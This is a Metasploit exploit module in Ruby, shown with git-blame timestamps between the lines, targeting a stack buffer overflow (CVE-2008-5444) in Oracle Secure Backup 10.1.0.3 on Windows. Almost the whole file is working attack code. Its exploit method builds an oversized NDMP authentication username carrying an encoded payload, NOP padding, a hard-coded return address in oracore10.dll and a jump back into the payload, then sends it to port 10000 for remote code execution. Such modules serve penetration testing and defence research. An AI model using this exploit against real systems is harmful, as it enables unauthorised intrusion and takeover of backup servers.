2009-02-23 16:26:00 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-02-23 16:26:00 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-02-23 16:26:00 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2009-02-23 16:26:00 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::NDMP
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-02-23 16:26:00 +00:00
|
|
|
'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
The module exploits a stack buffer overflow in Oracle Secure Backup.
|
2010-04-30 08:40:19 +00:00
|
|
|
When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
|
|
|
|
an attacker may be able to execute arbitrary code.
|
2009-02-23 16:26:00 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-03-15 18:12:33 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-02-23 16:26:00 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-5444' ],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '51340' ],
|
2009-02-23 16:26:00 +00:00
|
|
|
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2009-02-23 16:26:00 +00:00
|
|
|
[
|
|
|
|
[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll
|
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'DisclosureDate' => 'Jan 14 2009',
|
2009-02-23 16:26:00 +00:00
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options([Opt::RPORT(10000)], self.class)
|
2009-02-23 16:26:00 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
ndmp_recv()
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
username = rand_text_alphanumeric(3789 - payload.encoded.length)
|
2010-04-30 08:40:19 +00:00
|
|
|
username << payload.encoded + Rex::Arch::X86.jmp_short(6)
|
|
|
|
username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')
|
2009-02-23 16:26:00 +00:00
|
|
|
username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)
|
|
|
|
|
|
|
|
password = rand_text_alphanumeric(rand(25) + 1)
|
|
|
|
|
|
|
|
# Create the authentication request
|
|
|
|
auth = [
|
|
|
|
0, # Sequence number
|
|
|
|
Time.now.to_i, # Current time
|
|
|
|
0, # Message type (request)
|
|
|
|
0x901, # Message name (connect_client_auth)
|
|
|
|
0, # Reply sequence number
|
|
|
|
0, # Error status
|
|
|
|
1 # Authentication type
|
|
|
|
].pack('NNNNNNN') +
|
|
|
|
[ username.length ].pack('N') + username +
|
|
|
|
[ password.length ].pack('N') + password +
|
|
|
|
[ 4 ].pack('N')
|
|
|
|
|
|
|
|
print_status("Sending authentication request...")
|
|
|
|
ndmp_send(auth)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-02-23 16:26:00 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|